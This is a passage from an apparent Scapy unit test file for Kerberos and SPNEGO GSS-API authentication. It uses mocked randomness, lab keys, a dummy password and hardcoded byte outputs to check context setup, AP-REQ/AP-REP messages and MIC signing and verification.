0d\n0e 0f 10 00 01 02 03 04 05 06 07 08 09 0a 0b 0c\n0d 0e 0f 10 00 01 02 03 04 05 06 07 08\n\"\"\")\n\nRESULT = _strip(\"\"\"\n00 53 95 3b 84 c8 96 f4 eb 38 5c 3f 2e 75 1c 4a\n59 0e d6 ff ad ca 6f f6 4f 47 eb eb 8d 78 0f fc\n\"\"\")\n\nhexdiff(_k_truncate_output(EncryptionType.AES256_CTS_HMAC_SHA1_96, INPUT), RESULT)\nassert _k_truncate_output(EncryptionType.AES256_CTS_HMAC_SHA1_96, INPUT) == RESULT\n\n+ GSS-API KerberosSSP tests\n~ mock\n\n= Create randomness-mock context manager\n\n# mock the random to get consistency\nfrom unittest import mock\nfrom datetime import datetime\n\ndef fake_urandom(x):\n    # wow, impressive entropy\n    return b\"0\" * x\n\ndef fake_randrange(a, b):\n    return (a + b) // 2\n\ndef fake_choice(x):\n    return x[0]\n\ndate_mock = mock.MagicMock()\ndate_mock.now.side_effect = lambda tz=None: datetime(2024, 3, 5, 16, 52, 55, 424801, tz)\n\n_patches = [\n    # Patch all the random\n    mock.patch('scapy.layers.kerberos.os.urandom', side_effect=fake_urandom),\n    mock.patch('scapy.libs.rfc3961.os.urandom', side_effect=fake_urandom),\n    mock.patch('scapy.volatile.random.randrange', side_effect=fake_randrange),\n    mock.patch('scapy.volatile.random.choice', side_effect=fake_choice),\n    # Patch date\n    mock.patch('scapy.layers.kerberos.datetime', date_mock),\n]\n\nclass KrbRandomPatcher:\n    def __enter__(self):\n        for p in _patches:\n            p.start()\n    def __exit__(self, *args, **kwargs):\n        for p in _patches:\n            p.stop()\n\n= Create client and server SPNEGOSSP[KerberosSSP]\n\nfrom scapy.libs.rfc3961 import Key, EncryptionType\nfrom scapy.layers.kerberos import KRB_Ticket, KRB_GSSAPI_Token, KRB_AP_REQ, KRB_AP_REP\nfrom scapy.layers.spnego import SPNEGOSSP\n\nclient = SPNEGOSSP([\n    KerberosSSP(\n        UPN=\"User1@DOMAIN.LOCAL\",\n        SPN=\"cifs/dc1\",\n        ST=KRB_Ticket(bytes.fromhex(\"618204a13082049da003020105a10e1b0c444f4d41494e2e4c4f43414ca2163014a003020103a10d300b1b04636966731b03646331a382046c30820468a003020112a10302010da282045a04820456671f6131b38ee6e682d62cb937b8b79c589753182f8dbcb14a91b031052a3c20f7b4c89bf9a41fe9960d112acc73f6bd6527dfe70700a3d3c2e72b4ba6705dfc040fd56f9d7cd60b580ebecec2bfb240baac619690dbd9301ed98cac037cfdff8ff96ac98358969f3532f9c6adc076d136a0ef96ebddef293df879bb42adfbf7670434f340ad673e0303ae186e1a510d7f50dbfee9ebab323c715d6b27a67ffec60dba9f7475e5dbf88eee1fcc95b7d467ab2b4ecef893a92a25c80b8480ac8c12bc10741523a2738a3d7c3d2c438235111188968486cab2934b32cad1b6b4b2cbf343b25d41ad463c0513cf21cf9f77f072f4a49d8042947064e3375a1ae76c355fd48d5fc163cf7f865af91bcb788cffe2e9e1a30a7e3f91be8fb55b0a8b8c0b600ef3e0e88feaad4fbf4fffe76c9302ee2acfa3b64ca28cd006fd4af9c27d2eb45e47e582b87e632aa23475caeb0e3e9d777339f5cb94abc19ebd080ffc78181bf81ff227182de422937675546633bd6ab688258a94d132fb590f8152d3f19bd55a1f336fb7c382140987ac2389134d8033882f923d3d5324a3e9f5437bd70f095e6bb00ee68d8f21912b19b27924c61b4e3bfe68411f9f220de8dace00e767b662313706730d4dc8539b309fc75e6ca4cae470cdf12cc3cfb191486e3e5eb8c80723b2b0473b07e4ea4d385487dd303df2db8d31f8c90d53c4adcf39ad78cf6c85fbb87b4c4ee531a42c2133df2b0362132374df995420e4b2a6d1e19d7879d518652d5101a316962b27b3884cb67d07572f96b9668ca42cca7311a7152ac7c6d492009192fa4a707989e43b2a10f19e535e7cf8afdaf63ce9a2a85ce1bd17d81cfe76d2ce5759a7fdbeff6fb279b8620bc2c5183b24be831c7ee157114f2700da210b36edb7bda7d91a32f7940bef431c76571cd44499f779cc4ebe829fb34eeaa1e442240d5962bdbcbc16c962974b546e9cee380dda49f651acc5c58acae4ad06d57e4b91d8c5557365e8ddda7ee9550963d70d4f56b44fc5a26e29b36cb21d11221825b5a2217cb1f1454d34d94a855cb860f2fe43681e3d302e7e124273dd18b04fddf660b8858e1e78d022cc03f467f3cf1a6e5df53bb831794542b1d08e38d3bfb0bf2e5ba6f75a0f77d56bf2924b144fff3c87ec7a57bff345ee8a4496676d38c9453c38e64521db2de6d6452aa8f3da1675134e8d90cbb0d274ce6189563fd9a56e56a800661e787b083950623035ddeeb2fb84f6fb2507f2c157e74e81a81970e11475ce926e393a55b06b77c444dbd23688e8a77c7f30337874fef787a187fcafd73a5a4837c8e3e60712308597ff72ea2edae69c9402ad7ae81abb3e9100f0c87b99b2564246bd56af8e6d0ecf2928e5151218f7e627c565e15540666f4f7c0e937c2d0e84782fcb1b535e596f6c4e0aed7c1d350e169d045f2eaaa4bb2f94cd149576f835e5eecb4418677d0444e51fafcbed2afac50b1d320bc223d2623601aee6df6a363a24294bfb3b00f2668dfc404e9fa17fe936e6620756a6918f7de2de343f380fab83fde911124be508\")),\n        KEY=Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex(\"4aad1c4c7b5bf02bfd061cfaebf0188d6c4f4642d569ca4ab536cb68adcb0e68\")),\n    ),\n])\nserver = SPNEGOSSP([\n    KerberosSSP(\n        SPN=\"cifs/dc1\",\n        PASSWORD=\"Password1\",\n        KEY=Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex(\"133614b285c1d76d4ec78d642e9c6f7451d7652cf6c5fe635af6e89050d42517\")),\n    ),\n])\n\n= GSS_Init_sec_context (negTokenInit: KRB_AP_REQ)\n\nwith KrbRandomPatcher():\n    clicontext, tok, negState = client.GSS_Init_sec_context(\n        None,\n        req_flags=(\n            GSS_C_FLAGS.GSS_C_MUTUAL_FLAG |\n            GSS_C_FLAGS.GSS_C_INTEG_FLAG |\n            GSS_C_FLAGS.GSS_C_CONF_FLAG\n        )\n    )\n\nassert negState == 1\nassert isinstance(tok, GSSAPI_BLOB)\ntok = GSSAPI_BLOB(bytes(tok))\nassert tok.MechType.val == '1.3.6.1.5.5.2'\nassert isinstance(tok.innerToken.token, SPNEGO_negTokenInit)\nassert len(tok.innerToken.token.mechTypes) == 2\nassert tok.innerToken.token.mechTypes[0].oid == '1.2.840.48018.1.2.2'\nassert tok.innerToken.token.mechTypes[1].oid == '1.2.840.113554.1.2.2'\nassert tok.innerToken.token.reqFlags is None\nassert tok.innerToken.token.negHints is None\nassert tok.innerToken.token.mechListMIC is None\nassert tok.innerToken.token._mechListMIC is None\n\nkrb = tok.innerToken.token.mechToken.value.root\nassert isinstance(krb, KRB_GSSAPI_Token)\nap_req = krb.innerToken.root\nassert isinstance(ap_req, KRB_AP_REQ)\nassert ap_req.apOptions == \"001\"\nassert ap_req.ticket == clicontext.ssp.ST\n\n# Hardcode (yes this will probably require updating this test)\nbytes(tok)\nassert bytes(tok) == b'`\\x82\\x06d\\x06\\x06+\\x06\\x01\\x05\\x05\\x02\\xa0\\x82\\x06X0\\x82\\x06T\\xa0\\x180\\x16\\x06\\t*\\x86H\\x82\\xf7\\x12\\x01\\x02\\x02\\x06\\t*\\x86H\\x86\\xf7\\x12\\x01\\x02\\x02\\xa2\\x82\\x066\\x04\\x82\\x062`\\x82\\x06.\\x06\\t*\\x86H\\x86\\xf7\\x12\\x01\\x02\\x02\\x01\\x00n\\x82\\x06\\x1d0\\x82\\x06\\x19\\xa0\\x03\\x02\\x01\\x05\\xa1\\x03\\x02\\x01\\x0e\\xa2\\x04\\x03\\x02\\x05 \\xa3\\x82\\x04\\xa5a\\x82\\x04\\xa10\\x82\\x04\\x9d\\xa0\\x03\\x02\\x01\\x05\\xa1\\x0e\\x1b\\x0cDOMAIN.LOCAL\\xa2\\x160\\x14\\xa0\\x03\\x02\\x01\\x03\\xa1\\r0\\x0b\\x1b\\x04cifs\\x1b\\x03dc1\\xa3\\x82\\x04l0\\x82\\x04h\\xa0\\x03\\x02\\x01\\x12\\xa1\\x03\\x02\\x01\\r\\xa2\\x82\\x04Z\\x04\\x82\\x04Vg\\x1fa1\\xb3\\x8e\\xe6\\xe6\\x82\\xd6,\\xb97\\xb8\\xb7\\x9cX\\x97S\\x18/\\x8d\\xbc\\xb1J\\x91\\xb01\\x05*< \\xf7\\xb4\\xc8\\x9b\\xf9\\xa4\\x1f\\xe9\\x96\\r\\x11*\\xccs\\xf6\\xbde\\'\\xdf\\xe7\\x07\\x00\\xa3\\xd3\\xc2\\xe7+K\\xa6p]\\xfc\\x04\\x0f\\xd5o\\x9d|\\xd6\\x0bX\\x0e\\xbe\\xce\\xc2\\xbf\\xb2@\\xba\\xaca\\x96\\x90\\xdb\\xd90\\x1e\\xd9\\x8c\\xac\\x03|\\xfd\\xff\\x8f\\xf9j\\xc9\\x83X\\x96\\x9f52\\xf9\\xc6\\xad\\xc0v\\xd16\\xa0\\xef\\x96\\xeb\\xdd\\xef)=\\xf8y\\xbbB\\xad\\xfb\\xf7g\\x044\\xf3@\\xadg>\\x03\\x03\\xae\\x18n\\x1aQ\\r\\x7fP\\xdb\\xfe\\xe9\\xeb\\xab2<q]k\\'\\xa6\\x7f\\xfe\\xc6\\r\\xba\\x9ftu\\xe5\\xdb\\xf8\\x8e\\xee\\x1f\\xcc\\x95\\xb7\\xd4g\\xab+N\\xce\\xf8\\x93\\xa9*%\\xc8\\x0b\\x84\\x80\\xac\\x8c\\x12\\xbc\\x10t\\x15#\\xa2s\\x8a=|=,C\\x825\\x11\\x11\\x88\\x96\\x84\\x86\\xca\\xb2\\x93K2\\xca\\xd1\\xb6\\xb4\\xb2\\xcb\\xf3C\\xb2]A\\xadF<\\x05\\x13\\xcf!\\xcf\\x9fw\\xf0r\\xf4\\xa4\\x9d\\x80B\\x94pd\\xe37Z\\x1a\\xe7l5_\\xd4\\x8d_\\xc1c\\xcf\\x7f\\x86Z\\xf9\\x1b\\xcbx\\x8c\\xff\\xe2\\xe9\\xe1\\xa3\\n~?\\x91\\xbe\\x8f\\xb5[\\n\\x8b\\x8c\\x0b`\\x0e\\xf3\\xe0\\xe8\\x8f\\xea\\xadO\\xbfO\\xff\\xe7l\\x93\\x02\\xee*\\xcf\\xa3\\xb6L\\xa2\\x8c\\xd0\\x06\\xfdJ\\xf9\\xc2}.\\xb4^G\\xe5\\x82\\xb8~c*\\xa24u\\xca\\xeb\\x0e>\\x9dws9\\xf5\\xcb\\x94\\xab\\xc1\\x9e\\xbd\\x08\\x0f\\xfcx\\x18\\x1b\\xf8\\x1f\\xf2\\'\\x18-\\xe4\"\\x93vuTf3\\xbdj\\xb6\\x88%\\x8a\\x94\\xd12\\xfbY\\x0f\\x81R\\xd3\\xf1\\x9b\\xd5Z\\x1f3o\\xb7\\xc3\\x82\\x14\\t\\x87\\xac#\\x89\\x13M\\x803\\x88/\\x92==S$\\xa3\\xe9\\xf5C{\\xd7\\x0f\\t^k\\xb0\\x0e\\xe6\\x8d\\x8f!\\x91+\\x19\\xb2y$\\xc6\\x1bN;\\xfehA\\x1f\\x9f\"\\r\\xe8\\xda\\xce\\x00\\xe7g\\xb6b17\\x06s\\rM\\xc8S\\x9b0\\x9f\\xc7^l\\xa4\\xca\\xe4p\\xcd\\xf1,\\xc3\\xcf\\xb1\\x91Hn>^\\xb8\\xc8\\x07#\\xb2\\xb0G;\\x07\\xe4\\xeaM8T\\x87\\xdd0=\\xf2\\xdb\\x8d1\\xf8\\xc9\\rS\\xc4\\xad\\xcf9\\xadx\\xcfl\\x85\\xfb\\xb8{LN\\xe51\\xa4,!3\\xdf+\\x03b\\x13#t\\xdf\\x99T \\xe4\\xb2\\xa6\\xd1\\xe1\\x9dxy\\xd5\\x18e-Q\\x01\\xa3\\x16\\x96+\\'\\xb3\\x88L\\xb6}\\x07W/\\x96\\xb9f\\x8c\\xa4,\\xcas\\x11\\xa7\\x15*\\xc7\\xc6\\xd4\\x92\\x00\\x91\\x92\\xfaJpy\\x89\\xe4;*\\x10\\xf1\\x9eS^|\\xf8\\xaf\\xda\\xf6<\\xe9\\xa2\\xa8\\\\\\xe1\\xbd\\x17\\xd8\\x1c\\xfev\\xd2\\xceWY\\xa7\\xfd\\xbe\\xffo\\xb2y\\xb8b\\x0b\\xc2\\xc5\\x18;$\\xbe\\x83\\x1c~\\xe1W\\x11O\\'\\x00\\xda!\\x0b6\\xed\\xb7\\xbd\\xa7\\xd9\\x1a2\\xf7\\x94\\x0b\\xefC\\x1cvW\\x1c\\xd4D\\x99\\xf7y\\xccN\\xbe\\x82\\x9f\\xb3N\\xea\\xa1\\xe4B$\\rYb\\xbd\\xbc\\xbc\\x16\\xc9b\\x97KTn\\x9c\\xee8\\r\\xdaI\\xf6Q\\xac\\xc5\\xc5\\x8a\\xca\\xe4\\xad\\x06\\xd5~K\\x91\\xd8\\xc5Use\\xe8\\xdd\\xda~\\xe9U\\tc\\xd7\\rOV\\xb4O\\xc5\\xa2n)\\xb3l\\xb2\\x1d\\x11\"\\x18%\\xb5\\xa2!|\\xb1\\xf1EM4\\xd9J\\x85\\\\\\xb8`\\xf2\\xfeCh\\x1e=0.~\\x12Bs\\xdd\\x18\\xb0O\\xdd\\xf6`\\xb8\\x85\\x8e\\x1ex\\xd0\"\\xcc\\x03\\xf4g\\xf3\\xcf\\x1an]\\xf5;\\xb81yEB\\xb1\\xd0\\x8e8\\xd3\\xbf\\xb0\\xbf.[\\xa6\\xf7Z\\x0fw\\xd5k\\xf2\\x92K\\x14O\\xff<\\x87\\xeczW\\xbf\\xf3E\\xee\\x8aD\\x96gm8\\xc9E<8\\xe6E!\\xdb-\\xe6\\xd6E*\\xa8\\xf3\\xda\\x16u\\x13N\\x8d\\x90\\xcb\\xb0\\xd2t\\xcea\\x89V?\\xd9\\xa5nV\\xa8\\x00f\\x1ex{\\x089Pb05\\xdd\\xee\\xb2\\xfb\\x84\\xf6\\xfb%\\x07\\xf2\\xc1W\\xe7N\\x81\\xa8\\x19p\\xe1\\x14u\\xce\\x92n9:U\\xb0kw\\xc4D\\xdb\\xd26\\x88\\xe8\\xa7|\\x7f03xt\\xfe\\xf7\\x87\\xa1\\x87\\xfc\\xaf\\xd7:ZH7\\xc8\\xe3\\xe6\\x07\\x120\\x85\\x97\\xffr\\xea.\\xda\\xe6\\x9c\\x94\\x02\\xadz\\xe8\\x1a\\xbb>\\x91\\x00\\xf0\\xc8{\\x99\\xb2VBF\\xbdV\\xaf\\x8em\\x0e\\xcf)(\\xe5\\x15\\x12\\x18\\xf7\\xe6\\'\\xc5e\\xe1U@foO|\\x0e\\x93|-\\x0e\\x84x/\\xcb\\x1bS^YolN\\n\\xed|\\x1d5\\x0e\\x16\\x9d\\x04_.\\xaa\\xa4\\xbb/\\x94\\xcd\\x14\\x95v\\xf85\\xe5\\xee\\xcbD\\x18g}\\x04D\\xe5\\x1f\\xaf\\xcb\\xed*\\xfa\\xc5\\x0b\\x1d2\\x0b\\xc2#\\xd2b6\\x01\\xae\\xe6\\xdfj6:$)K\\xfb;\\x00\\xf2f\\x8d\\xfc@N\\x9f\\xa1\\x7f\\xe96\\xe6b\\x07V\\xa6\\x91\\x8f}\\xe2\\xde4?8\\x0f\\xab\\x83\\xfd\\xe9\\x11\\x12K\\xe5\\x08\\xa4\\x82\\x01\\\\0\\x82\\x01X\\xa0\\x03\\x02\\x01\\x12\\xa2\\x82\\x01O\\x04\\x82\\x01K\\\\>\\t\\xe4\\x1d8,a(\\x7f\\x1e\\xd2\\x8dHH\\x9c\\xa3\\x03?&\\xb9\\xf4\\xba\\xef\\xcf\\xcf\\xb6(8\\x91\\x0f\\xa3lq\\xc6 f&Ou\\xd8Bk\\xe84s\\xf1\\xec\\xf6\\x97wY\\xc6Un;\\xf5\\xdeh\\xb9J\\xd6\\xaf\\xf4r\\x00\\x80\\x17\\x8d\\xc4p\\x81\\xac\\x89\\xf1\\xf6\\x98\\xef\\x1f\\xb3\\xe5\\x91}\\xf5m\\x1a\\xbd\\x08\\x1d\\x0217W0\\x81\\xddZ\\xec,J%\\xe2o\\x86\\xef{\"a\\xe0\\xe2hBc\\xeb^\\x8b\\xa3\\x8c\\xf7W\\xf9F\\xc6&\\x1a\\x041\\x0c\\xdf\\xc3S\\xaa>\\x04\\x90\\xd7\\x8a\\xdd\\xf3j\\x80#4_\\x95u\\xaby3\\x0f\\x878\\xe3\\',t\\xa7\\xe9\\xba7&\\xd6\\x82y\\x1d9\\x06\\xf1\\xff\\xaf\\xb33O\\xdb\\x00\\xc5\\x19\\xd0\\xb7\\t\\xe9\\xeb\\xe0iv\\x08\\xaa\\xf4\\x00\\xcaG\\xbb7\\xb9P\\xcd\\xcf\\xcbC\\x9b\\xec\\xfdH\\x1b\\xbf\\x89\\x11\\x96L\\xa8\\xb4\\\\6\\xcf\\x9a\\xa6\\x16\\xf0\\xfb,\\xaf\\x06.qj\\xf0\\x03\\xfd\\xc0 \\x80\\xb6\\xb84\\xcf\\xec\\tW~5\\xad,\\x14-\\xf05\\x04\\xb2\\xd4[o\\xce\\xa3\\xf9\\x06\\x08\\x0e\\xeb\\x1e\\xbf2\\xd7\\xe4\\xc2\\x14\\xabn_\\x0c8j;#\\r\\xee\\xce\\xa6\\x1f\\xc3+\\xed\\x0c\\xb7\\xabdb\\xb4\\x8b\\xb2\\xd0\\xe97\\xa5P\\xcd\\xf1\\x96\\x8aT:=\\xfc\\xd9\\x1e\\xb6q\\xcdM\\x16\\xead\\x81\\x84/\\xab\\xdd\\xc8\\xe1\\xed\\x17\\xa3\\xf5\\x1c\\xf1\\x98\\xf1\\xf7\\xbd\\xbc\\xc8\\xdf'\n\n= GSS_Accept_sec_context (SPNEGO_negTokenResp: KRB_AP_REQ->KRB_AP_REP)\n\nwith KrbRandomPatcher():\n    srvcontext, tok, negState = server.GSS_Accept_sec_context(None, tok)\n\nassert negState == 0\nassert isinstance(tok, SPNEGO_negToken)\ntok = SPNEGO_negToken(bytes(tok))\nassert isinstance(tok.token, SPNEGO_negTokenResp)\nassert tok.token.negState == 0\nassert tok.token.supportedMech.oid == '1.2.840.48018.1.2.2'\nassert isinstance(tok.token.responseToken, SPNEGO_Token)\nassert tok.token.mechListMIC is None\n\nap_rep = tok.token.responseToken.value.root\nassert isinstance(ap_rep, KRB_AP_REP)\n\napreppart = ap_rep.encPart.decrypt(clicontext.ssp.KEY)\nassert apreppart.ctime == \"20240305165255Z\"\nassert apreppart.subkey.keyvalue == b\"0000000000000000\"\nassert apreppart.subkey.keytype == 17\n\n# Hardcode (yes this will probably require updating this test)\nbytes(tok)\nassert bytes(tok) == b'\\xa1\\x81\\x890\\x81\\x86\\xa0\\x03\\n\\x01\\x00\\xa1\\x0b\\x06\\t*\\x86H\\x82\\xf7\\x12\\x01\\x02\\x02\\xa2r\\x04pon0l\\xa0\\x03\\x02\\x01\\x05\\xa1\\x03\\x02\\x01\\x0f\\xa2`0^\\xa0\\x03\\x02\\x01\\x12\\xa2W\\x04UaS\\xeck\\xcc\\xad~\\xfa^\\x8d\\xca\\xbb\\xc5\\xd2/\\xfd\\xd3\\xc3\\xd9\\xadN`\\xd2;\\xd7{\\xb7\\xf4p.\\xa9\\x9a\\xb1}D\\xc6|_t\\n\\r\"M\\xcd\\xe2\\t\\xf0Ri\\xc7\\xcf\\xb5\\xefr9\\xf0`iS7N\\x06qKP\\x06\\xde\\xc4\\x18\\xd5_\\xcb\\x0ct\\x03k\\xbc\\xb9\\x1adT\\x03\\xc1\\x8bM'\n\n= GSS_Init_sec_context (SPNEGO_negToken: KRB_AP_REP->OK)\n\nwith KrbRandomPatcher():\n    clicontext, tok, negState = client.GSS_Init_sec_context(clicontext, tok)\n\nassert tok is None\nassert negState == 0\nassert clicontext.KrbSessionKey.key == srvcontext.KrbSessionKey.key\nassert srvcontext.KrbSessionKey.key == b'0000000000000000'\n\n= GSS_GetMICEx/GSS_VerifyMICEx: client sends a signed payload\n\ndata_header = b\"header\"  # signed but not encrypted\ndata = b\"testAAAAAAAAAABBBBBBBBBCCCCCCCCCDDDDDDDDDEEEEEEEEE\"  # encrypted\n\nsig = client.GSS_GetMICEx(\n    clicontext,\n    [\n        SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n        SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data)\n    ]\n)\nassert isinstance(sig, KRB_InnerToken) and sig.TOK_ID == b\"\\x04\\x04\"\nassert sig.root.SND_SEQ == 0x7FFFFFFF//2 + 1\nassert bytes(sig) == b'\\x04\\x04\\x04\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00@\\x00\\x00\\x00\\xfc\\xc6\\x86\\xab\\x85e\\x18\\xe8\\x7f\\xa81t'\nserver.GSS_VerifyMICEx(\n    srvcontext,\n    [\n        SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n        SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data),\n    ],\n    sig\n)\n\n= GSS_GetMICEx/GSS_VerifyMICEx: server answers back\n\nsig = server.GSS_GetMICEx(\n    srvcontext,\n    [\n        SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n        SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data)\n    ]\n)\nassert isinstance(sig, KRB_InnerToken) and sig.TOK_ID == b\"\\x04\\x04\"\nassert sig.root.SND_SEQ == 0\nassert bytes(sig) == b'\\x04\\x04\\x05\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x98\\xdeb<\\x14\\x1c\\x9fe%{\\x0e\\xf7'\nclient.GSS_VerifyMICEx(\n    clicontext,\n    [\n        SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n        SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data),\n    ],\n    sig\n)\n\n= GSS_GetMICEx/GSS_VerifyMICEx: inject fault\n\nsig = client.GSS_GetMICEx(\n    clicontext,\n    [\n        SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n        SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data)\n    ]\n)\nbad_data_header = data_header[:-3] + b\"hey\"\ntry:\n    server.GSS_VerifyMICEx(\n        srvcontext,\n        [\n            SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=bad_data_header),\n            SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data),\n        ],\n        sig\n    )\n    assert False, \"No error was reported, but there should have been one\"\nexcept ValueError:\n    pass\n\n= Create client and server KerberosSSP (raw)\n\nclient = KerberosSSP(\n    UPN=\"User1@DOMAIN.LOCAL\",\n    SPN=\"cifs/dc1\",\n    ST=KRB_Ticket(bytes.fromhex(\"618204a13082049da003020105a10e1b0c444f4d41494e2e4c4f43414ca2163014a003020103a10d300b1b04636966731b03646331a382046c30820468a003020112a10302010da282045a04820456671f6131b38ee6e682d62cb937b8b79c589753182f8dbcb14a91b031052a3c20f7b4c89bf9a41fe9960d112acc73f6bd6527dfe70700a3d3c2e72b4ba6705dfc040fd56f9d7cd60b580ebecec2bfb240baac619690dbd9301ed98cac037cfdff8ff96ac98358969f3532f9c6adc076d136a0ef96ebddef293df879bb42adfbf7670434f340ad673e0303ae186e1a510d7f50dbfee9ebab323c715d6b27a67ffec60dba9f7475e5dbf88eee1fcc95b7d467ab2b4ecef893a92a25c80b8480ac8c12bc10741523a2738a3d7c3d2c438235111188968486cab2934b32cad1b6b4b2cbf343b25d41ad463c0513cf21cf9f77f072f4a49d8042947064e3375a1ae76c355fd48d5fc163cf7f865af91bcb788cffe2e9e1a30a7e3f91be8fb55b0a8b8c0b600ef3e0e88feaad4fbf4fffe76c9302ee2acfa3b64ca28cd006fd4af9c27d2eb45e47e582b87e632aa23475caeb0e3e9d777339f5cb94abc19ebd080ffc78181bf81ff227182de422937675546633bd6ab688258a94d132fb590f8152d3f19bd55a1f336fb7c382140987ac2389134d8033882f923d3d5324a3e9f5437bd70f095e6bb00ee68d8f21912b19b27924c61b4e3bfe68411f9f220de8dace00e767b662313706730d4dc8539b309fc75e6ca4cae470cdf12cc3cfb191486e3e5eb8c80723b2b0473b07e4ea4d385487dd303df2db8d31f8c90d53c4adcf39ad78cf6c85fbb87b4c4ee531a42c2133df2b0362132374df995420e4b2a6d1e19d7879d518652d5101a316962b27b3884cb67d07572f96b9668ca42cca7311a7152ac7c6d492009192fa4a707989e43b2a10f19e535e7cf8afdaf63ce9a2a85ce1bd17d81cfe76d2ce5759a7fdbeff6fb279b8620bc2c5183b24be831c7ee157114f2700da210b36edb7bda7d91a32f7940bef431c76571cd44499f779cc4ebe829fb34eeaa1e442240d5962bdbcbc16c962974b546e9cee380dda49f651acc5c58acae4ad06d57e4b91d8c5557365e8ddda7ee9550963d70d4f56b44fc5a26e29b36cb21d11221825b5a2217cb1f1454d34d94a855cb860f2fe43681e3d302e7e124273dd18b04fddf660b8858e1e78d022cc03f467f3cf1a6e5df53bb831794542b1d08e38d3bfb0bf2e5ba6f75a0f77d56bf2924b144fff3c87ec7a57bff345ee8a4496676d38c9453c38e64521db2de6d6452aa8f3da1675134e8d90cbb0d274ce6189563fd9a56e56a800661e787b083950623035ddeeb2fb84f6fb2507f2c157e74e81a81970e11475ce926e393a55b06b77c444dbd23688e8a77c7f30337874fef787a187fcafd73a5a4837c8e3e60712308597ff72ea2edae69c9402ad7ae81abb3e9100f0c87b99b2564246bd56af8e6d0ecf2928e5151218f7e627c565e15540666f4f7c0e937c2d0e84782fcb1b535e596f6c4e0aed7c1d350e169d045f2eaaa4bb2f94cd149576f835e5eecb4418677d0444e51fafcbed2afac50b1d320bc223d2623601aee6df6a363a24294bfb3b00f2668dfc404e9fa17fe936e6620756a6918f7de2de343f380fab83fde911124be508\")),\n    KEY=Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex(\"4aad1c4c7b5bf02bfd061cfaebf0188d6c4f4642d569ca4ab536cb68adcb0e68\")),\n)\nserver = KerberosSSP(\n    SPN=\"cifs/dc1\",\n    PASSWORD=\"Password1\",\n    KEY=Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex(\"133614b285c1d76d4ec78d642e9c6f7451d7652cf6c5fe635af6e89050d42517\")),\n)\n\n= GSS_Init_sec_context (KRB_AP_REQ) - DCE_STYLE\n\nwith KrbRandomPatcher():\n    clicontext, tok, negState = client.GSS_Init_sec_context(\n        None,\n        req_flags=(\n            GSS_C_FLAGS.GSS_C_DCE_STYLE |\n            GSS_C_FLAGS.GSS_C_REPLAY_FLAG |\n            GSS_C_FLAGS.GSS_C_SEQUENCE_FLAG |\n            GSS_C_FLAGS.GSS_C_MUTUAL_FLAG |\n            GSS_C_FLAGS.GSS_C_INTEG_FLAG\n        )\n    )\n\nassert negState == 1\nassert isinstance(tok, KRB_AP_REQ)\nap_req = KRB_AP_REQ(bytes(tok))\nassert isinstance(ap_req, KRB_AP_REQ)\nassert ap_req.apOptions == \"001\"\nassert ap_req.ticket == client.ST\n\nauth = ap_req.authenticator.decrypt(client.KEY)\nassert auth.cksum.cksumtype == 0x8003\nassert auth.cksum.checksum.Flags == (\n    GSS_C_FLAGS.GSS_C_DCE_STYLE |\n    GSS_C_FLAGS.GSS_C_REPLAY_FLAG |\n    GSS_C_FLAGS.GSS_C_SEQUENCE_FLAG |\n    GSS_C_FLAGS.GSS_C_MUTUAL_FLAG |\n    GSS_C_FLAGS.GSS_C_INTEG_FLAG\n)\nassert auth.cksum.checksum.Exts[0].sprintf(\"%type%\") == 'GSS_EXTS_CHANNEL_BINDING'\n\n# Hardcode (yes this will probably require updating this test)\nbytes(tok)\nassert bytes(tok) == b'n\\x82\\x06\\x1d0\\x82\\x06\\x19\\xa0\\x03\\x02\\x01\\x05\\xa1\\x03\\x02\\x01\\x0e\\xa2\\x04\\x03\\x02\\x05 \\xa3\\x82\\x04\\xa5a\\x82\\x04\\xa10\\x82\\x04\\x9d\\xa0\\x03\\x02\\x01\\x05\\xa1\\x0e\\x1b\\x0cDOMAIN.LOCAL\\xa2\\x160\\x14\\xa0\\x03\\x02\\x01\\x03\\xa1\\r0\\x0b\\x1b\\x04cifs\\x1b\\x03dc1\\xa3\\x82\\x04l0\\x82\\x04h\\xa0\\x03\\x02\\x01\\x12\\xa1\\x03\\x02\\x01\\r\\xa2\\x82\\x04Z\\x04\\x82\\x04Vg\\x1fa1\\xb3\\x8e\\xe6\\xe6\\x82\\xd6,\\xb97\\xb8\\xb7\\x9cX\\x97S\\x18/\\x8d\\xbc\\xb1J\\x91\\xb01\\x05*< 